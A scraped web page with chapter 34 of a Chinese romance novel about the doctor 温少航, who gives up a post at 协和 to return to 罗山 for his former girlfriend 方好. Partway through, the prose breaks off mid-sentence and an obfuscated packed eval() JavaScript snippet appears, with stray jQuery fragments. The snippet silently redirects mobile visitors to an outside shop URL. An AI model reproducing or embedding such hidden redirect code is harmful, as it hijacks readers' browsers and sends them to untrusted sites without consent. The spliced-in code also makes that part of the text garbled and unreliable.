文趣网 > 其他小说 > 婚后再爱[破镜重圆] > 34. 第 34 章
    温少航算是明白为什么方好说他们一定会分手。

    虽然他现在回来了,但他很清楚,如果六年前方好跟他提出这个要求,让他毕业后回来罗山,他一定会拒绝。

    他还会想方设法地劝说方好到北京去。

    所以,他无法像上次一样理直气壮地质问她:“你让我回来了吗?你什么都没问,你凭什么认为我不会回来?”

    他什么都想做到顶尖。

    读医要去最好的地方最好的学校,就算做医生,也要进最好的医院,做到最顶尖的位置,成为一名医学大国手。

    这些都是罗山这个地方无法满足他的。

    在一家医院庸庸碌碌、辛辛苦苦地当一名普通医生,这绝对不是他对自己未来的规划。

    所以方好没有说错,六年前的他,不可能为了方好回来。只是,那时的他,怎么都没有想到方好是不想把这个难题抛给他,所以才用一个他最无法接受的理由主动结束这段关系。

    和方好分手当天,他就买了高铁票回北京。

    但是,他几乎一夜没睡。

    因为,他从在高铁上就开始翻遍了方好的朋友圈,但凡看到一个男人的身影,他就截下来发给方好问:“是他吗?”

    方好没有回他,反而被他烦得把他删掉了。

    但是他又再发送好友申请。

    反复几次,直到最后一次,方好通过后,他刚发信息过去,就收到一个红色感叹号。

    以及一句系统回复:你的消息已发出,但被对方拒收了。

    方好将他拉黑了。

    温少航气得用力地锤了一下车身。

    当晚,宿舍关灯后,他还在床上一遍遍地翻找她的微博,想要找出她到底什么时候变心的,想要找出她曾经是真的爱他的证据,而不只是因为他对她好她才爱他。

    第二天,他顶着两天没休息的大脑和熊猫一样的黑眼圈进行内科的期末考,自然是考得一塌糊涂。

    这本来就是医学生中令人闻风丧胆的一门,1000多页的教材,是所有科目中最厚的一本。覆盖内容广,知识点又多又细,考试无重点,考点无死角,而且老师还非常变态地将及格线定在80分。

    温少航史无前例地挂科了。

    他被老师劈头盖脸地骂了一顿。

    “下学期就临床准入考核了!你知不知道挂一门课意味着什么?你分分钟连见习的资格都没有!别以为你以后想选外科,内科就可以随便糊弄一下。除非你不想读了,不想当医生了!开学补考再不过你连本科文凭也别想要了,直接滚蛋,免得以后到了医院祸害病人。”

    八年制的医学生并不是考上后就稳了,每一阶段都有可能面临淘汰。而挂科一门直接会触发分流预警,就算补考通过后,挂科的成绩依然会记录在案。

    第五学年他们要开始到医院临床见习,如果挂科的话有可能会被取消临床准入考核,甚至淘汰八年制资格,分流至五年制本科。这也是当时方好提出让他回去参加她的毕业典礼,他会这么为难的原因。

    那年暑假,温少航没有回罗山。

    他对家人什么都没说,只是说开学还有一门考试,他暑假要留在学校复习。

    开学,温少航补考通过后,他临时起意买了一张高铁票,打算国庆回罗山。他一回到家就冲了出去,来到广村花园找方好。他想告诉她,方好,你看我回来了。你想我回来找你,我就回来找你,以后都换我回来陪你。他想求她再给他一次机会,他相信自己做到的,他一定可以做到的。

    他想通了,就算方好只喜欢他对她的好也没关系。只要她不分手,他就一直对她好,他会竭尽所能对她好,那她就能一直喜欢他。

    没有分别。

    可是,他刚到方好楼下,就看到方好从一个男人的摩托车上下来。

    不知道为什么,他有点心虚,赶紧到旁边的大树后面躲了起来。

    他看到方好摘下头盔,微笑着递给男人。

    两人还有说有笑地上楼了。

    温少航整个人几乎石化了。

    他和方好在一起这么久,她从来没有光明正大地把他带回家过。

    可是,这个男人……

    这么快就登堂入室了。

    这个男人看上去比方好要成熟一些,估计也已经工作了。

    温少航突然看到了他和他之间的距离。

    他和方好都已经是走进社会的人,而他还是一个要在学校再苦读四年的学生。

    那一刻,方好跟他分手时说的话再次在耳边响起,如雷贯耳。

    她要的不是像牛郎织女一样,每年只有固定的时间才能见面。她要的就是平平淡淡的幸福,每天有人陪在她身边,而他做不到。他就是做不到。就算他每年放假都能回来那又怎样?她要的,他现在根本给不了,甚至……以后都给不了。

    他以后肯定是要当医生的,他无法做到像别的男朋友一样随叫随到。

    虽然他说过,如果哪个男人敢把方好抢走,他就打死他。可是,真的有这么一天,他发现自己根本做不到。不是他不敢打死对方,而是他根本不忍心破坏方好的幸福。如果那个人是她喜欢的,这是她想要的生活,他又怎么能亲手破坏它呢?

    于是,他所有的苦都只能往自己心里吞。

    那天他在方好楼下坐了很久,一直到天空下起了雨。这雨来得很突然,也很急,很快就从小雨转大雨。那个男人一直都没有从方好家里出来。

    温少航一个人垂头丧气地慢悠悠地走回家,当晚就被淋到发烧。

    梦里他一直听到方好跟他分手时说的那番话,像是魔咒一样在他脑海反复响起。他很想开口恳求她,挽留她,可是声音像是被夺走了一样,他很用力地张大嘴巴,很用力地想发出声音,但一个字都发不出。

    温少航想起这件事,还是忍不住提了出来,“我们分手那年国庆,我回去找你了,但是看到一个男人开着摩托载你回家,你们还一起上楼了。”

    虽然他相信方好没骗他,他们从来没有第三者,他还是想知道,“那个人是谁?”

    “男人?”怎么会有男人?方好自己也很困惑。

    她努力回想起六年前的国庆到底发生了什么事,终于想起了,说,“那是我表哥!”

    那年是她到南定镇上班的第一年。为了离家远一点,她参加了选岗考试,以第一名的成绩选择了离罗山市区最远的南定镇中心小学。那年国庆,她在路边等待回市里的公车,凑巧遇到要去市里办事的表哥。

    表哥说:“这里一趟公车要等很久的,我反正要去一趟市里,载你过去咯。”

    到家后,方好客气一下,问表哥要不要到家里坐一下。

    来都来了,表哥觉得也该上去跟长辈打声招呼,便一同上去。

    温少航苦笑了一下,突然明白什么叫阴差阳错。

    就是因为这个男人,所以他六年都没再找方好。

    他每个节假日回来罗山,这对他来说真的很难。那四年除了学校的课程,还有临床见习,让他的时间不如以前自由。他之所以坚持下去,只是因为心里的那份不甘。想要证明方好对她的指责控诉是错的,想要证明他可以做到。

    但他有时候被逼得分身乏术时真的会偷偷地想,如果他和方好没分手,按照他对方好的了解,也许他还是会跟她说自己真的很忙,抽不出时间,要不你过来吧。

    每当这个念头冒出的时候,心里那份不甘就涌了上来。无论再忙再累,他都坚持回去,只是因为不想证明方好提出的分手指控是对的。

    一直到他毕业后到协和参加规培才没有回来。因为真的太忙了。

    那段时间,他忙得几乎没有休息过一天,更别想有什么节假日。那两年,他没有回过罗山一次。也是那段时间里,他突然好像认命了。

    就算他和方好能够坚持走到现在,估计也会分手吧。

    他现在根本分不出一点时间给她,可是她却是那么需要陪伴的一个人。

    “那你为什么还是回来了呢?”

    这是他们重逢之后,方好第三次问他这个问题。

    第一次,他说回来结婚。

    第二次,他没有回答,却反而问方好是不是想听他说,他回来是为了她?

    这是第三次。

    温少航很认真地抬起头,看向方好,却是回答的自己第二次反问她的问题:

    “方好,我就是为了你回来的。”

    ……

    规培那段时间,他忙得像一台停不下来的机器一样。只要有那么一丝空隙,他可以倒下来一秒入睡,一有任务又第一时间清醒。他就是在那段时间养成了秒睡秒醒的能力。

    一开始,他觉得很累,后来却又感觉这样的生活很充实。

    忙起来也挺好的,身体忙起来了,心就死了。不会思念,不会难过,更不会痛。

    他的带教老师很欣赏他的能力,但是一眼看穿他的身上有着这个年纪不该有的死感。

    说得好听,是沉着冷静。

    说得难听,是麻木。

    这种麻木,通常会在从业多年的医生身上才有,因为看惯了生离死别,看透了医生也不是万能,对病人对生命就开始看淡。但是一个真正的好医生不应该是这样的。

    孙思邈的《大医精诚》中有一句话:?“凡大医治病,必当安神定志,无欲无求,先发大慈恻隐之心,誓愿普救含灵之苦。”

    所谓“医者仁心”,一个好医生,除了要有精湛的医术外,是应该常怀慈悲之心的。

    规培的第二年,他遇到一个高中同学。

    骨科一般是很少绝症的,但是在北京,在协和,这样的情况却也不罕见。

    他的这位同学是带自己的老公来求医的,他老公患上了骨肉瘤。

    这种病通常只是腿疼,那时候家里人都没太在意,以为是什么时候不小心撞到,自己拿铁打酒擦了一段时间。但是一直没有好转,反而开始越来越痛,他这才去医院检查,竟然查出是骨肉瘤。

    因为发现得比较晚,尽管已经第一时间手术切除了肿瘤,但是术后复查却发现已经发生了肺转移,并有多发全身骨转移的迹象。

    这种病如果早期发现,及时手术切除肿瘤或者截止,是可以保住性命的。

    但是一旦发生肺转移或者多发转移,治愈的可能性就很低,而且后期的治疗非常痛苦。

    主诊医生看过病历后,直接说:“这已经不是骨科的事了,我建议你转去肿瘤内科做全身治疗。”

    那天中午,温少航在医院的小花园看到他的那位同学独自一人在哭,本想假装没看到走过去。但他走了几步,还是折返回去,给她递上一包纸巾。

    同学看着他,很疲惫地笑了笑,说:“我刚才认出你了,见你没反应,以为你没认出我。”

    温少航没说话,他不擅长说安慰的话。

    或者他觉得安慰的话没有什么实质性的作用。

    反而这位同学擦了擦眼泪,深呼吸一口气,似乎突然就振作起来,说:“放心,我没事。其实我们在广州深圳都看过了,早就有心理准备了。只是还有一点不死心,想着北京专家多,或许会有办法。只是……”

    也许是见温少航一直不说话,气氛太尴尬了,同学不再说自己的事,转换了轻松一点的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709450|207094||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    话题,说:“算了,不说了。还没恭喜你当上了医生,还进了协和,感觉你以后是我挂不起的专家号了。”

    温少航似乎无法理解她此刻还能开这种玩笑,终于开口说道:“我倒希望你以后都不需要挂我的号。”

    要从广东跑来北京看病,能是什么普通的跌打损伤吗?

    同学却被他的严肃逗笑了,说:“你现在好严肃哦,是不是医生都这样?我记得你以前很爱开玩笑,很好玩的。”

    提起以前,温少航又沉默了。

    “对了,你现在有女朋友了吗?结婚了吗?”

    温少航摇摇头,说:“太忙了,没时间。”

    同学似乎很理解,点点头,说:“哎,突然觉得挺可惜的。”

    “可惜什么?”

    “你和方好啊。”同学说,“我前段时间遇到她了,才知道你们没在一起了。”

    她和温少航、方好三人高一都是同班,但是高二文理分科后,她和温少航选了理科,方好选了文科。

    突然听到这个名字,温少航有一种恍如隔世的感觉。

    他嘴角不自然地微微扯了下,问道:“是嘛,你见到她了?她过得挺好的吧。”

    “看起来挺好的,不过她跟你一样,也是单身。”

    “单身?”温少航一愣,皱着眉头问道,“你说她现在单身?”

    “是啊。”同学说道,“所以我才觉得可惜。你们当年多般配啊,而且出来社会后,我觉得校园感情真的就是最纯粹的。高中三年那么辛苦压力那么大,你和方好都能熬过来,还双双考了这么好的成绩,但是最后还是分开了,两人现在又都单着,真的很可惜。”

    后面的话温少航几乎都没听到了。

    脑海里还盘旋着“单身”二字。

    这些年,他没有再找过她,也没有她的消息,心里已经认定她是结婚了,有了自己家庭,说不定还有小孩了。他们两个应该是再无关系了。

    可是,现在却有人告诉他,方好竟然单身!

    同学似乎没注意到温少航脸上的惊讶,自顾自地说:“这一年多,我陪着我老公跑医院做手术,四处寻医,我才感悟到,人生真的除了生死之外,其它都是小事。一家人能够平安健康才是最重要的。”

    说完,她又有点不好意思地说,“不过你是医生,生离死别见得比我多,应该不会像我这样感性吧。”

    温少航没有回答。

    几个月后,他的规培就结束了,顺利拿到规培证,并且被协和录用了。

    他已经一脚踏入了自己规划的未来图景里。

    可是,这时候他却做出了一个让所有人都意想不到的决定,他放弃了协和的offer,决定回罗山。

    他罕见地失去了所有理性分析的能力,他不再想去权衡利弊,他只是感觉到自己的心很想回去。他很想回去找方好,他很想让方好再给他一个机会重新来过。

    是的,他是医生,医院每天都上演生离死别。

    他也以为自己足够理性,以为自己对疾病对生命已经麻木。

    但是,“方好”二字就像他的心脏起搏器。

    唯有她,可以让他的心再次激烈地跳动。

    直到那一刻,他才知道自己的心里从来没有放下过她。

    既然他们现在都是单身,为什么不再去尝试一下呢?

    难道真的要等到没有机会的那一天再来后悔一次吗?

    所以,此刻,他很认真地看着方好告诉她:

    “方好,我就是为了你回来的。”

    方好怔住。

    感动、愧疚、自责、惋惜,所有的情绪在这一刻突然齐齐涌上心头。

    “可是……可是,我不值得啊……”

    她对他说了这么过分的话,让他这么难过,为什么还值得他放弃自己的前程回来呢?

    “值得。”

    温少航却很坚定地说,“对我来说,你是值得的。”

    “好好,就算拥有再伟大的前程,没有你,我独自一人又有什么意思呢?”

    方好泪水终于在这一刻汹涌而出。

    温少航抽过纸巾,坐在床边将她搂进怀里,温柔地擦去她脸上的泪水。

    “可是,可是……”方好的泪水擦了一波又一波,她一边哭一边说,“可是我还是想看到你留在北京,想看到你成为一名很出色的医生。”

    温少航却笑了:“一个医生出不出色,不是看在哪个地方,在哪家医院的。”

    “我之前跟你说了,那些话都是我年少无知时说的。那时候我对医生这一职业没有太多的实感,有的只是自己的好胜心和虚荣心,所以我想要去最好的地方,做最强的人。但是,医生就是医生,无论在哪里,医生的职责都是治病、救人,从来没有大小之分。你看,那些去到贫困地区做志愿者做无国界医生的,难道他们就不值得尊重,他们就不是一个‘大医生’吗?”

    “当然不是。”方好啜泣着应道,“但……但是……”

    虽然话是这么说,但她心里还是为温少航惋惜。

    “好吧……”温少航无奈地笑道,“我承认,我刚来这里的时候,心里确实是有落差的。但是,做下来后,我越来越深刻地感受到,我这么努力地考上医学院,花这么多年学医,不是为了待在北京,我只是为了当一个医生而已,我只是为了去救治每一个需要的病人。”

    “而且,越是二三四线城市就越缺好医生,但是疾病不会只出现在北京这样的大城市。”

    温少航认真地看着她说,“方好,不要有愧疚感,我虽然是为了你回来,但是我在这里找到了成为一名医生真正的意义。”